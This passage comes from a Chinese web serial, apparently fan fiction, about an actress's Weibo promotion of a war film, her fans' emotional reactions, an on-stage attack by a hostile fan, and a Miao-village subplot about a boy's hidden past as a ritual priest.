花絮短视频：拍摄间隙，陈杬祝跟着专业老师学习手风琴，手指被琴键磨红也不吭声；她翻阅巴尔干战争的史料，笔记本上写满了批注；她与小演员互动，温柔地教她弹手风琴，画面温馨。 3. 微博文案：陈杬祝个人微博同步发布宣传短片，配文：“雪绒花会凋谢，琴声会停止，但光不会。很高兴成为娜卡塔榙，也很庆幸，能被你们当作光。” 配图是她饰演的娜卡塔榙与苗寨造型的拼接图。 短片发出后，#陈杬祝 娜卡塔榙 白月光# #娜塔莎的童年雪绒花与琴声# 两个话题迅速登上热搜，粉丝们纷纷表示“被陈杬祝的表演戳中泪点”“娜卡塔榙就是白月光本光”“已经开始期待电影了”。 纪采薇、秦淑、余霓霓、李诺言四位粉丝也第一时间转发，纪采薇配文：“白大褂与亚麻裙，都是守护的模样。”秦淑则手绘了雪绒花与月莲的联动图，瞬间被顶到热评第一。 17. 娜卡塔的童年 深夜零点整，陈杬祝的个人微博悄然更新，没有任何配图预告，只有一行简短到让人心碎的文案，却瞬间击穿了全网粉丝的防线： 我好痛。 配图只有一张，是娜卡塔榙的背影。 镜头拉得很远，天地间是漫无边际的硝烟与白雪，铅灰色的天空压得人喘不过气。陈杬祝饰演的娜卡塔榙，穿着那件洗得发白的亚麻长裙，裙摆被炮火的气浪掀得微微扬起，发间的雪绒花早已不知去向，松松挽着的发髻散落了几缕发丝，在寒风中凌乱地飞舞。 她的肩上还挎着那架旧手风琴，背带深深勒进单薄的肩膀，琴身的金属部件在灰暗的光线下泛着冷硬的光泽。她正站在撤离的路上，微微佝偻着脊背，一手护着身后躲着的孩子，一手紧紧攥着琴键，指尖的青白透过屏幕都能被感知。 没有正脸，没有表情，甚至没有清晰的五官轮廓，可那道单薄却倔强的背影，却藏着无尽的痛苦——是对战争的绝望，是对孩子的心疼，是对自己命运的无力，更是明知前路是死局，却依旧要护着光前行的撕裂感。 照片的角落，隐约能看到一片染血的雪，那抹红在黑白灰的主色调里，刺眼得让人落泪。 微博发出的瞬间，服务器瞬间被引爆，#陈杬祝 我好痛# #娜卡塔榙 背影杀# #娜塔莎的童年意难平# 三个话题以断层之势冲上热搜榜首，后面的“爆”字红得触目惊心。评论区里，粉丝们的眼泪几乎要冲破屏幕： 【啊啊啊！这道背影我直接哭死！娜卡塔榙的痛，是杬祝姐姐的痛，也是我们的痛啊！】 【没有正脸却比正脸更戳心！单薄的肩膀扛着手风琴，扛着孩子们的希望，也扛着所有的苦难！】 【“我好痛”——这四个字不是陈杬祝，是娜卡塔榙，是那个在战火里坚守温柔的灵魂在呐喊啊！】 【亚麻裙、手风琴、散落的雪绒花！每一个细节都在刀我！姐姐的共情能力也太强了吧！】 【已经开始意难平了！娜卡塔榙最后到底怎么样了？我不敢想，却又忍不住去想！】 远在各自生活里的四位粉丝，几乎是同时被这条微博击中： 纪采薇正穿着白大褂在医院值夜班，看到微博的瞬间，手里的病历本差点滑落。她立刻评论，文字里带着医学生的共情与心疼：【白大褂懂亚麻裙的痛，守护的路上，从来都满是荆棘。娜卡塔榙，你的痛，我们都懂。】 秦淑坐在画室里，对着屏幕里的背影，瞬间红了眼眶。她拿起画笔，在画纸上飞速勾勒，一边画一边转发微博：【这道背影，我要画成永恒。雪绒花会开，琴声会响，光永远不会熄灭。】 余霓霓第一时间将这条微博转发到粉丝后援会官博，配文里带着难以抑制的激动与心疼：【是娜卡塔榙的痛，也是陈杬祝的共情。最好的演员，最动人的角色，我们永远是你最坚实的后盾！】 李诺言正抱着那件专属卫衣，看到微博的瞬间，眼泪滴在了卫衣的“诺”字刺绣上。她评论道：【杬祝姐姐（娜卡塔榙），你不要痛！我们会永远陪着你！你的光，我们会替你守护！】 苗寨的梨花园里，夜色正浓。 沈怨趴在许祭的肩头，看着手机里的背影照片，小脸上满是不解与心疼：“许祭哥哥，娜卡塔榙姐姐为什么这么痛啊？她的雪绒花掉了，手风琴也快拿不住了……” 许祭的眼底翻涌着复杂的情绪，他轻轻揉了揉沈怨的头发，声音低沉而温柔：“因为她在守护比自己生命更重要的东西。痛，是她的勋章，也是她的温柔。” 梨春梦端着温热的糯米茶走来，看到照片的瞬间，脚步顿了顿。她拿起手机，在陈杬祝的微博下评论，文字里带着苗寨儿女特有的坚定：【苗寨的艾草能驱寒，月莲能疗伤。你的痛，我们替你扛。】 绫司司站在回廊尽头，手里拿着一支刚做好的竹笛。她没有评论，也没有转发，只是默默将竹笛放在唇边，吹起了一段温柔的旋律。那旋律，像极了宣传短片里娜卡塔榙弹的那首塞尔维亚民谣，在苗寨的夜色里，轻轻流淌。 陈杬祝发这条微博时，刚结束一天的拍摄。 她还穿着娜卡塔榙的亚麻长裙，身上带着片场的硝烟味与雪的寒气。她没有卸妆，发丝依旧凌乱，指尖还残留着弹手风琴的酸涩。 坐在保姆车里，她看着窗外飞速倒退的夜景，脑海里全是娜卡塔榙的一生——那个在战火里长大，却用一生去守护光的女孩。她的痛，是角色的痛，也是她作为演员，最深刻的共情。 她没有加任何滤镜，没有修图，只是随手拍下了片场里那道背影，敲下了那三个字。 这不是演员的营业，而是灵魂与灵魂的共振。 微博发出后的十分钟，陈杬祝工作室的官微悄悄在评论区置顶了一条消息：【今日拍摄顺利，杬祝姐已收工休息。这条微博，是她以娜卡塔榙的身份，与大家的一次灵魂对话。电影《娜塔莎的童年》，敬请期待。】 粉丝们看到这条消息，瞬间破防。原来，那三个字，真的是娜卡塔榙的心声。 深夜的风，带着片场的寒意，也带着苗寨的月莲清香，吹进了保姆车。 陈杬祝轻轻关上手机，靠在座椅上，闭上了眼睛。 梦里，她又变成了娜卡塔榙。 这一次，她的发间别着雪绒花，肩上挎着手风琴，身后跟着一群笑着的孩子。 阳光洒在她的亚麻长裙上，温暖而耀眼。 她再也不痛了。 秦淑熬了三个通宵，指尖的颜料晕染了画纸边缘，终于完成了一组三宫格水彩插画。她没有配冗长的文案，只在微博里轻轻@陈杬祝，附上一句“雪绒花不会谢，琴声不会停”。第一幅画里，是巴尔干小城难得的和平午后，娜卡塔榙穿着干净的亚麻裙，坐在院子里的老槐树下弹手风琴，发间的雪绒花娇艳欲滴，娜塔莎趴在她的腿边，手里捏着一朵刚摘的雏菊，阳光透过树叶的缝隙洒在琴键上，光斑像极了断魂崖底的萤石。第二幅画定格在地下室的瞬间，昏黄的煤油灯映着娜卡塔榙的侧脸，她的嘴唇紧抿，一滴泪悬在眼角，手风琴的背带深深勒进肩膀，而身后的孩子们，已经在琴声里渐渐睡去，脸上的泪痕还未干透。第三幅画是秦淑私藏的温柔想象，没有硝烟，没有炮火，娜卡塔榙穿着崭新的亚麻裙，发间别着新鲜的雪绒花，手风琴放在一旁，她正牵着娜塔莎的手，走在开满野花的小路上，远方的太阳正缓缓升起，将两人的影子拉得很长很长。画作发出的瞬间，立刻被粉丝们疯狂转发，有人说“这是我见过最温柔的刀”，有人说“秦淑的画笔，懂娜卡塔榙的痛，也懂陈杬祝的共情”。 纪采薇值完夜班，脱下白大褂的瞬间，指尖还带着医院消毒水的凉意。她坐在科室的休息区，打开电脑，敲下了一篇长长的科普文，开头便@了陈杬祝。她以娜卡塔榙的经历为引，科普了战争中儿童的心理创伤应急处理，还有长期营养不良的改善方法，字里行间满是医学生的严谨与温柔。她在文中写道：“娜卡塔榙用手风琴为孩子们筑起心理的堡垒，而我们，能用医学知识为更多孩子撑起一片天。”她还特意附上了自己在山区义诊时的照片，照片里的她穿着白大褂，蹲在地上给孩子们检查身体，笑容和陈杬祝饰演的娜卡塔榙一样温柔。文末，她留下了自己的联系方式，承诺为有需要的粉丝提供免费的心理疏导建议。这条微博被后援会官博转发后，瞬间引发了连锁反应，不少医学生粉丝纷纷响应，自发组建了“雪绒花医疗应援团”，承诺将用自己的专业知识，践行娜卡塔榙的守护精神。 余霓霓第一时间将秦淑的插画和纪采薇的科普文整合，发布在粉丝后援会官博上。她还连夜联系了工作室，拿到了陈杬祝拍摄时的花絮片段——镜头里的陈杬祝，为了还原娜卡塔榙的单薄，刻意控制饮食，脸颊都清瘦了一圈；为了弹好手风琴，她的指尖被琴键磨出了血泡，却只是简单包扎后便继续练习；她和小演员互动时，会温柔地帮对方理好凌乱的头发，会耐心地听对方讲悄悄话，眼神里的温柔，和戏里的娜卡塔榙如出一辙。余霓霓给这条微博配文：“她在戏里守护光，我们在戏外守护她。”她还发起了一个“雪绒花之约”的公益活动，号召粉丝们捐赠书籍和文具，送给山区的孩子，每一份捐赠，都将以“娜卡塔榙”和捐赠者的名义送出。活动发起仅一小时，捐赠链接便被刷爆，粉丝们的留言里，满是“以吾之爱，护你所演之温柔”的赤诚。 李诺言穿着那件专属的浅杏色卫衣，坐在书桌前，手里拿着针线，一针一线地绣着什么。她的指尖有些笨拙，好几次被针扎到，却只是咬着牙，用纸巾擦去指尖的血迹，继续绣下去。最终，她绣出了一朵雪绒花，旁边还绣着一朵小小的月莲，雪绒花的下方，是“娜卡塔榙”四个字，月莲的下方，是“陈杬祝”三个字。她将绣好的手帕小心翼翼地装进信封，寄往陈杬祝的工作室。她还在微博里发了一张手帕的照片，@陈杬祝说：“杬祝姐姐，这是我绣的雪绒花和月莲，雪绒花代表娜卡塔榙，月莲代表你。我会永远记得，你演过一束照亮苦难的光，也会永远记得，你就是我的光。”她的评论很快被顶到了热评第一，粉丝们纷纷留言，说“李诺言的针线，绣出了我们所有人的心声”。 《娜塔莎的童年》首场线下剧宣活动定在市中心的影城大厅，现场被精心布置成雪绒花与暖光交织的模样，粉丝们举着印着娜卡塔榙背影的灯牌，手里的应援棒汇成一片温柔的星海。 陈杬祝穿着一身简约的米白色长裙，裙摆绣着一朵小巧的雪绒花，与戏里娜卡塔榙的亚麻裙遥相呼应。她刚结束与主持人的互动，正微笑着走向粉丝区，准备签名合影。阳光透过影城的玻璃穹顶洒在她身上，整个人温柔得像一幅会动的画。 就在这时，人群中突然窜出一个穿着黑色连帽衫的人，速度快得让现场安保都来不及反应。那人直奔陈杬祝而来，嘴里还嘶吼着不堪入耳的话语：“陈杬祝！你根本不配演娜卡塔榙！你就是个只会卖人设的花瓶！” 话音未落，那人的手已经狠狠抓住了陈杬祝的裙角，用力往后一扯。“刺啦”一声刺耳的布料撕裂声，在喧闹的大厅里格外清晰。陈杬祝的米白色长裙瞬间被撕开一道长长的口子，露出了里面的白色内搭，她也因为惯性，身体猛地向后踉跄了两步，险些摔倒。 现场瞬间陷入一片混乱。粉丝们的惊呼声、怒骂声交织在一起，前排的李诺言、秦淑、余霓霓和纪采薇更是瞬间红了眼，李诺言甚至想冲上去推开那个黑粉，却被身边的安保拦住。 那黑粉似乎还不满足，抓着裙角的手没有松开，反而更加用力，嘴里的污言秽语越来越难听：“你演的娜卡塔榙就是个笑话！你根本不懂什么叫苦难！你只会靠着粉丝的钱过日子！” 陈杬祝的脸色瞬间白了几分，但她没有尖叫，也没有慌乱。她强忍着裙摆撕裂带来的尴尬与不适，抬起眼，目光冷冷地看向那个黑粉，声音不大，却带着不容置疑的坚定：“放手。” 她的眼神里没有恐惧，只有一片冰湖般的冷冽，还有一丝不易察觉的失望。那黑粉被她的目光震慑住，抓着裙角的手微微一顿，却依旧不肯松开。 就在这时，安保人员终于冲了上来，迅速将那黑粉控制住，强行掰开了她的手。黑粉被拖走时，还在疯狂挣扎，嘴里的叫骂声不绝于耳。 现场的粉丝们立刻围了上来，七嘴八舌地关心着陈杬祝的情况。“杬祝姐姐！你没事吧？”“裙子破了！要不要紧？”“那个黑粉太可恶了！” 陈杬祝轻轻摇了摇头，先是对着安保人员说了声“谢谢”，然后才转过身，对着粉丝们露出了一个勉强却温柔的笑容：“我没事，大家别担心。” 她的声音带着一丝不易察觉的颤抖，显然刚才的拉扯让她受了不小的惊吓。楒微微立刻拿着备用的外套跑了过来，迅速披在陈杬祝身上，将撕裂的裙摆遮住。她的眼眶通红，声音里带着自责与愤怒：“杬祝，对不起，是我没保护好你。” “不怪你。”陈杬祝拍了拍楒微微的手，示意她放心。她深吸一口气，调整了一下状态，然后拿起话筒，对着现场的粉丝和媒体说道：“今天发生的事情，我很抱歉影响了大家的心情。但我想说，娜卡塔榙的温柔与坚定，是我一直想要传递的力量。我不会因为任何恶意，就放弃这份坚持。” 她的话音刚落，现场立刻响起了雷鸣般的掌声。粉丝们举着灯牌，齐声喊着：“陈杬祝！我们相信你！”“娜卡塔榙！我们永远爱你！” 李诺言看着台上强装镇定的陈杬祝，眼泪忍不住掉了下来。她立刻拿出手机，在微博上发布了现场的情况，配文：“黑粉的恶意永远无法打败温柔的力量！杬祝姐姐没有错！娜卡塔榙没有错！我们永远站在你这边！” 秦淑、余霓霓和纪采薇也纷纷转发，秦淑配文：“画笔可以画出雪绒花的坚韧，却画不出黑粉的丑陋。杬祝姐姐，我们永远是你的后盾！”纪采薇则写道：“白大褂与雪绒花，都是守护的象征。杬祝姐姐，照顾好自己。” 剧宣活动继续进行，陈杬祝依旧保持着专业的态度，完成了后续的签名和合影。只是没人注意到，她握着话筒的手，指节已经泛白，裙摆被撕裂的地方，还在隐隐作痛。 活动结束后，陈杬祝坐在保姆车里，终于卸下了所有的伪装。她靠在座椅上，闭上眼睛，眼角的泪终于忍不住滑落。楒微微坐在一旁，心疼地递上纸巾，却不知道该说些什么。 就在这时，陈杬祝的手机震动了一下，是李诺言发来的微信：“杬祝姐姐，你没事吧？我们都很担心你。”后面还跟着秦淑、余霓霓和纪采薇的关心消息。 陈杬祝看着手机屏幕上的消息，眼底的冰冷渐渐被暖意取代。她轻轻擦去眼泪，回复道：“我没事，谢谢你们。有你们在，我什么都不怕。” 她知道，黑粉的恶意或许永远不会消失，但只要身边有这些坚定的守护，有这些温柔的粉丝，她就能一直走下去。 深夜的风，带着影城的喧嚣与粉丝的温暖，吹进了保姆车。陈杬祝轻轻打开手机，看着自己饰演的娜卡塔榙的剧照，指尖轻轻摩挲着屏幕。 她想起了娜卡塔榙的那句台词：“带着光，活下去。” 是啊，她要带着粉丝们的光，带着娜卡塔榙的光，勇敢地活下去。 剧组转场的间隙，片场临时搭起的简易舞台被暖黄的灯光包裹，陈杬祝刚卸完娜卡塔榙的戏妆，发丝还带着造型的微卷，身上却换了件印着雪绒花与手风琴图案的宽松卫衣，下装是同色系的运动裤，少了戏里的清冷破碎，多了几分难得的鲜活灵动。 导演组特意准备了一段宣传舞，节奏轻快却藏着与剧情呼应的细节——抬手时的动作像极了娜卡塔榙弹手风琴的姿态，转身时的裙摆晃动复刻了亚麻裙在战火中翻飞的模样，甚至有一个俯身的动作，暗合了她护着孩子躲进地下室的温柔。 陈杬祝跟着舞蹈老师练了不过半小时，却已经将每个动作都消化得自然流畅。音乐响起的瞬间，她踩着节拍抬手、转身、跳跃，卫衣的衣角随动作轻轻扬起，发间的碎发扫过脸颊，眼底盛着笑意，却在某个定格动作里，刻意流露出一丝娜卡塔榙式的温柔与怅然。 片场的工作人员纷纷围过来看，小演员们更是趴在舞台边缘，跟着节奏拍手，连一向严肃的导演都忍不住拿出手机拍摄。舞蹈的最后一个动作，陈杬祝比出了宣传短片里的经典比耶手势，只是指尖微微弯曲，像极了雪绒花的花瓣，惹得现场一阵欢呼。 当晚八点，陈杬祝的个人微博准时更新，配文简单却带着满满的“预警”感，瞬间勾住了所有粉丝的好奇心：大家注意刀子来了 配图是一段15秒的短视频，开头是她在舞台上跳宣传舞的鲜活模样，节奏轻快，笑容明媚。可当音乐进行到一半，画面突然无缝切换——舞台的暖光变成了片场的冷调，卫衣换成了娜卡塔榙的亚麻长裙，轻快的舞蹈动作变成了她护着孩子奔跑的背影，背景音也从欢快的旋律，换成了宣传短片里那首温柔却催泪的塞尔维亚民谣。 视频的最后一秒，画面定格在娜卡塔榙躺在雪地里的经典背影，与陈杬祝跳舞时的比耶手势形成鲜明的对比，温柔与虐心的碰撞，瞬间戳中了所有人的泪点。 微博发出的瞬间，评论区直接被粉丝的尖叫与“预警”刷屏，#陈杬祝 宣传舞刀子预警# #娜卡塔榙 温柔刀# #娜塔莎的童年意难平# 三个话题光速冲上热搜： 【啊啊啊！前半段甜到齁，后半段刀到哭！姐姐你好会！】 【跳舞的杬祝姐姐好灵动！可是一切到娜卡塔榙的画面，我瞬间泪目！】 【“大家注意刀子来了”！诚不欺我！这刀又快又准，直接扎进我心里！】 【舞蹈里的细节太绝了！弹手风琴的动作，护着孩子的姿态，姐姐真的有用心在诠释角色！】 【甜舞配虐剧，这谁顶得住啊！已经开始一边期待电影一边害怕被刀了！】 李诺言、秦淑、余霓霓和纪采薇几乎是同时赶到评论区，四人的留言瞬间被顶到热评前排： 李诺言：【前半段跟着姐姐一起跳，后半段直接哭成泪人！刀子来了！我已经准备好纸巾了！】 秦淑：【舞蹈里的雪绒花手势太绝了！我已经开始画宣传舞与娜卡塔榙的联动图了！这刀我先干为敬！】 余霓霓：【已转发后援会官博！甜舞预警！刀子预警！所有粉丝速来集合！准备好迎接娜卡塔榙的温柔刀！】 纪采薇：【前半段的鲜活与后半段的破碎，姐姐的表演太有张力了！这刀，是温柔的刀，也是最痛的刀！】 苗寨的梨花园里，沈怨正趴在许祭的肩头，跟着视频里的陈杬祝一起比划动作，小脸上满是兴奋：“许祭哥哥！杬祝姐姐跳舞好好看！可是后面的娜卡塔榙姐姐，为什么又在雪地里啊？” 许祭揉了揉他的头发，声音低沉而温柔：“因为这是娜卡塔榙的故事，有甜，也有痛。但杬祝姐姐的舞蹈，是在告诉我们，光永远不会消失。” 梨春梦端着温热的糯米茶走来，看完视频后，轻轻在陈杬祝的微博下评论：【苗寨的月莲，懂雪绒花的甜与痛。刀子来了，我们陪你一起扛。】 绫司司依旧是简单的转发，附言只有两个字：【甜刀。】却精准概括了这段视频的精髓，瞬间被粉丝们疯狂点赞。 陈杬祝发这条微博时，刚结束一天的拍摄，正坐在片场的休息区，手里捧着一杯温热的姜茶。她看着手机屏幕里的视频，想起跳舞时的轻松，也想起饰演娜卡塔榙时的心痛，嘴角忍不住勾起一抹无奈却温柔的笑意。 这是她第一次在微博上用这样的方式“预警”剧情，既是为了宣传电影，也是想提前给粉丝们打一剂“预防针”——娜卡塔榙的故事，注定是一场温柔的虐心之旅。 深夜的风，带着片场的凉意，也带着粉丝们的热情，吹进了休息区。陈杬祝轻轻关上手机，抬头看向远处的星空，眼底的光芒温柔而坚定。 她知道，这把“刀”，会让观众记住娜卡塔榙，记住那个在苦难中坚守温柔的灵魂。而她，也会带着这份记忆，继续在演员的道路上，勇敢前行。 深夜十一点，陈杬祝的个人微博悄然更新，没有多余的配图，只有一行带着刻骨共情的文字，精准@阿怨后，瞬间戳中了所有人的柔软心底： @阿怨娜卡塔榙的痛没有你痛。 这条微博没有任何图片或视频，却比任何虐心的剧照都更让人心碎。发布的瞬间，服务器便迎来了一波流量高峰，#陈杬祝 娜卡塔榙的痛没有你痛# #阿怨苗寨守护# #双向心疼 天花板# 三个话题以断层之势冲上热搜，评论区里的粉丝们瞬间破防，眼泪几乎要冲破屏幕： 【啊啊啊！这句话直接把我刀傻了！娜卡塔榙的痛已经够虐了，可在姐姐心里，阿怨的痛更甚！】 【谁懂啊！娜卡塔榙是战火里护孩子的白月光，阿怨是风雨里守苗寨的小勇士！两个人的痛，都被姐姐记在心里！】 【这是陈杬祝与阿怨的灵魂对话啊！不是演员与角色，是真正的心疼与被心疼！】 【姐姐一定是想起了阿怨拼了命守护苗寨的模样，才会说出这样的话！我的阿怨，我的娜卡塔榙，我的杬祝姐姐，你们都要好好的！】 李诺言、秦淑、余霓霓和纪采薇四位粉丝，几乎是第一时间赶来评论，字里行间满是心疼与共情： 李诺言：【杬祝姐姐这句话，让我想起了阿怨守着苗寨的日日夜夜，也想起了娜卡塔榙在战火里的坚守。你们的痛，我们都懂！】 秦淑：【瞬间红了眼眶！我要把这句话画进画里，阿怨的萤石与娜卡塔榙的雪绒花，都是带着痛的光！】 余霓霓：【已转发后援会官博！双向的心疼，最是动人！阿怨，杬祝姐姐永远是你的光！】 纪采薇：【作为医学生，我懂身体的痛，也懂心理的痛。阿怨的痛，是护家园的伤；娜卡塔榙的痛，是护孩子的殇。姐姐的心疼，是最温柔的良药！】 苗寨的梨花园里，夜色正浓。 阿怨正趴在许祭的肩头，手里攥着一串刚串好的萤石手链，手腕上还缠着未拆的纱布——那是前几日为了阻拦外人闯入苗寨、保护老蛊婆时，被树枝划开的伤口。手机屏幕亮起的瞬间，他的目光落在陈杬祝的微博上，小小的身子瞬间僵住。他的眼眶瞬间红了，大颗大颗的眼泪砸在许祭的衣服上，晕开一小片湿痕。 “许祭哥哥……”阿怨的声音带着浓浓的哭腔，却又带着一丝不易察觉的温暖，“杬祝姐姐说，娜卡塔榙的痛没有我痛……” 许祭的眼底翻涌着复杂的情绪，他轻轻将阿怨抱进怀里，一手小心翼翼地避开他手腕的纱布，一手摩挲着他的头发，声音低沉而温柔：“嗯，杬祝姐姐一直都记得你为苗寨受的伤，也一直都在心疼你。” 梨春梦端着温热的糯米茶走来，看到微博的瞬间，脚步顿了顿。她的目光扫过阿怨手腕的纱布，眼底闪过一丝心疼，随即拿起手机，在陈杬祝的微博下评论，文字里带着苗寨儿女特有的坚定：【阿怨的痛，是护苗寨的勋章，有苗寨的艾草暖，有许祭的守护暖，还有你的心疼暖。以后，我们一起守。】 绫司司站在回廊尽头，手里拿着一支刚做好的竹笛。她没有评论，也没有转发，只是默默将竹笛放在唇边，吹起了一段温柔的旋律。那旋律，像极了陈杬祝跳宣传舞时的背景音乐，又像极了娜卡塔榙弹的那首塞尔维亚民谣，在苗寨的夜色里，轻轻流淌。 陈杬祝发这条微博时，刚结束一场娜卡塔榙牺牲的重场戏。 她还穿着那件洗得发白的亚麻长裙，身上带着片场的硝烟味与雪的寒气，指尖还残留着弹手风琴的酸涩。坐在保姆车里，她看着窗外飞速倒退的夜景，脑海里全是娜卡塔榙倒在雪地里、手风琴滚落在一旁的模样，可不知为何，眼前突然闪过阿怨的身影——那个小小的孩子，明明自己也需要被保护，却总是在苗寨遇到危险时，第一个冲在前面。 她想起阿怨为了守护萤石溪流不被外人污染，在冰冷的溪水里站了整整一夜，回来后发了高烧；想起他为了保护吊脚楼里的老人孩子，拿着木棍和闯入者对峙，脸上被划开了血痕；想起他每次受了伤，都只是咬着牙说“我没事”，转头却在许祭的怀里偷偷掉眼泪。 那一刻，陈杬祝的心脏像是被一只无形的手紧紧攥住，疼得她几乎喘不过气。 她突然觉得，娜卡塔榙的痛，是为了守护一群陌生的孩子而承受的，是带着大义的光；而阿怨的痛，是为了守护自己的家园、自己的亲人而留下的伤，是带着执念的暖。 娜卡塔榙的痛，是暂时的，最终以生命的落幕换来了孩子们的新生；而阿怨的痛，是刻在骨血里的，那些伤痕，是他守护苗寨的勋章，却也是陈杬祝心上永远的牵挂。 她没有丝毫犹豫，点开微博，敲下了那行字，@了那个她放在心尖上疼的孩子。 这不是演员的营业，也不是角色的共情，这是陈杬祝对阿怨，最直白、最刻骨的心疼。 微博发出后的二十分钟，阿怨用自己的小号，在评论区留下了一条简短的回复，瞬间被顶到了热评第一： 【杬祝姐姐，我不痛啦，苗寨好好的。】 后面还跟着一个萤石的表情包。 陈杬祝看到这条回复时，眼底的泪水终于忍不住滑落。她轻轻回复了一个月莲的表情，没有多余的话，却道尽了所有的温柔与牵挂。 深夜的风，带着片场的凉意，也带着苗寨的月莲清香，吹进了保姆车。 陈杬祝轻轻关上手机，靠在座椅上，闭上了眼睛。 梦里，她看到阿怨穿着苗寨的白色短褂，手腕上的纱布已经拆掉，手里举着一串萤石手链，在梨花园里蹦蹦跳跳。不远处，娜卡塔榙穿着崭新的亚麻裙，手风琴放在一旁，正温柔地看着阿怨笑。苗寨的吊脚楼错落有致，萤石溪流泛着蓝光，月莲在岸边静静绽放。 阳光洒在他们身上，温暖而耀眼。 没有痛，只有光，只有守护的暖。 凌晨两点，许祭的微博悄然更新，账号头像还是那片泛着蓝光的萤石溪流，却在深夜里投下一道带着刻骨执念的影子。他精准@陈杬祝，文字像一把淬了寒的刀，字字句句都带着无人能懂的沉郁与痛： @杬祝 你说是阿怨痛，还是司南痛，祭祀的痛，不会因为失忆而消失。 这条微博没有配图，没有多余的情绪铺垫，却比陈杬祝那条心疼阿怨的微博更让人心头发紧。发布瞬间，本就因前一条热搜未凉的服务器再次震荡，#许祭祭祀的痛不会消失# #阿怨司南谁的痛更深# #许祭杬祝 灵魂对话# 三个话题以碾压之势冲上热搜榜首，红色的“爆”字在深夜里格外刺眼。 评论区里，粉丝们的共情瞬间转向了这个永远沉默守护的男人，那些关于过往的碎片猜测被无限放大： 【天呐！这句话直接把我钉在虐心的柱子上！阿怨的痛是守护的伤，司南的痛是被遗忘的过往，而许祭的痛，是看着一切却无法言说的沉郁啊！】 【“祭祀的痛”！这个称呼里藏了多少秘密？失忆的到底是谁？是司南，还是许祭自己？】 【谁懂许祭的痛啊！他看着阿怨拼了命守护苗寨，看着杬祝沉浸在娜卡塔榙的悲伤里，可他自己的痛，却连说出口都要带着小心翼翼的克制！】 【阿怨是现在的光，司南是过去的影，而许祭，是抱着光与影独自舔舐伤口的人！祭祀的痛，真的不会消失啊！】 李诺言、秦淑、余霓霓和纪采薇四位粉丝，看到这条微博时瞬间红了眼眶，评论里满是对许祭的心疼： 李诺言：【许祭哥哥的话，让我突然觉得，原来最痛的人，可能一直是默默守护的你。阿怨的痛我们看得见，杬祝姐姐的痛我们感同身受，可你的痛，却藏在了最深的地方。】 秦淑：【瞬间泪崩！我要把这句话画进画里——萤石溪流旁，阿怨的笑，司南的影，许祭的背影，还有杬祝姐姐的月莲。痛不会消失，可我们都懂。】 余霓霓：【已转发后援会官博！原来最虐的从来都不是单个人的痛，而是每个人都在自己的世界里，承受着无法言说的伤。许祭，我们也在看着你。】 纪采薇：【作为医学生，我知道身体的伤会愈合，可心里的痛，哪怕失忆，也会在潜意识里留下痕迹。“祭祀的痛不会因为失忆而消失”，这句话，是刻在灵魂里的执念啊！】 苗寨的梨花园里，夜色浓得像化不开的墨。 阿怨已经在许祭的怀里睡熟，小小的身子蜷缩着，手腕上的纱布在月光下泛着白。许祭低头看着怀中人恬静的睡颜，指尖轻轻拂过他额角的碎发，眼底的温柔与痛苦交织在一起，凝成一片化不开的雾。 他发这条微博时，刚哄睡阿怨，手机屏幕的光映在他脸上，没有半分温度。他想起陈杬祝那条@阿怨的微博，想起她字里行间对那个小小守护者的心疼，可他也想起了那个叫沈司南的名字——那是阿怨不愿记起的过往，也是他许祭心头永远的刺。 他想起司南曾经的模样，想起那些连月光都不敢照亮的日子，想起阿怨如今拼了命守护苗寨的执着，更想起自己那些被时光掩埋、连失忆都无法抹去的痛。 祭祀的痛，是看着挚爱之人忘记过往却无能为力的痛，是抱着破碎的记忆独自坚守的痛，是明明身处光明，却永远走不出心底黑暗的痛。 陈杬祝看到这条微博时，正靠在保姆车的座椅上，身上还带着娜卡塔榙的亚麻裙残留的寒气。手机屏幕的光映在她脸上，泪水瞬间模糊了视线。 她想起许祭永远沉默的守护，想起他每次看阿怨时眼底的温柔，想起他偶尔独处时眼底的落寞。她突然明白，自己心疼阿怨的守护之痛，却忽略了许祭那份更深沉、更无人能懂的祭祀之痛。 娜卡塔榙的痛，阿怨的痛，司南的痛，许祭的痛，还有她自己的痛，都在这个深夜里，交织成一张密不透风的网。 她没有立刻回复，只是将手机紧紧攥在手里，指节泛白。 而苗寨的回廊尽头，绫司司站在月光下，手里的竹笛悬在唇边，却没有发出任何声音。她看着许祭的微博，眼底闪过一丝复杂的情绪，最终只是默默转发，附言只有两个字：执念。 微博发出后的一个小时，陈杬祝终于在评论区留下了一条回复，瞬间被顶到热评第一： 【我懂。所有的痛，都不会消失。】 没有多余的话，却道尽了所有的共情与心疼。 许祭看到这条回复时，抬头望向苗寨的月亮，月光洒在他的脸上，映出他眼底一闪而逝的湿润。他没有再回复，只是轻轻收紧了抱着阿怨的手臂，仿佛要将所有的痛，都藏进这温柔的守护里。 深夜的风，带着片场的凉意，带着苗寨的月莲清香，也带着所有人的痛，吹过梨花园，吹过保姆车，吹过每一个被执念与温柔包裹的灵魂。 痛不会消失，可守护与心疼，也永远不会停止。 事情的发酵毫无预兆，不过是某个不知名的娱乐八卦号，在凌晨三点突然甩出一张单人旧照，配文带着刻意的煽动性：「惊！陈杬祝心尖上的阿怨，竟与多年前苗寨祭祀旧照中的少年高度相似！是巧合，还是另有隐情？」 那张照片带着时光的陈旧感，边缘泛黄，却被修复得足够清晰。画面里的少年不过十二三岁的年纪，穿着苗寨最古老的玄色祭服，衣摆绣着缠枝莲与萤石图腾，头上戴着缀满银饰的祭冠，小脸绷得紧紧的，没有半分孩童的稚气。他站在苗寨祖祠的香案前，手里握着一支用百年老竹制成的祭笛，身后是袅袅的香火，眼底是与年龄不符的肃穆与坚定，那是独属于苗寨祭祀的、与生俱来的威仪。 照片里少年的眉眼轮廓，与如今苗寨里那个会抱着萤石手链蹦蹦跳跳、会在许祭怀里撒娇、会对着陈杬祝露出软糯笑容的阿怨，竟有着惊人的重合度。只是前者清冷疏离，浑身透着「神明使者」的庄严，后者软糯鲜活，眼里盛满了苗寨的月光与溪流的温柔。 这条微博像一颗炸雷，瞬间在全网炸开。#阿怨苗寨祭祀旧照# #阿怨眉眼重合度# #陈杬祝 阿怨身份# 三个话题以光速冲上热搜，服务器在深夜里再次陷入瘫痪。 评论区里，网友们的讨论炸开了锅，有震惊，有疑惑，也有别有用心的揣测： 【我的天！这眉眼真的太像了！尤其是眼尾的那颗小痣，简直一模一样！】 【苗寨祭祀？不是说祭祀的传承早就断了吗？这少年是谁？阿怨和他到底是什么关系？】 【陈杬祝会不会早就知道这件事？不然怎么会对阿怨这么上心？这里面的故事也太抓马了！】 【有没有一种可能，阿怨是这位祭祀的后人？或者……这根本就是阿怨小时候的照片？】 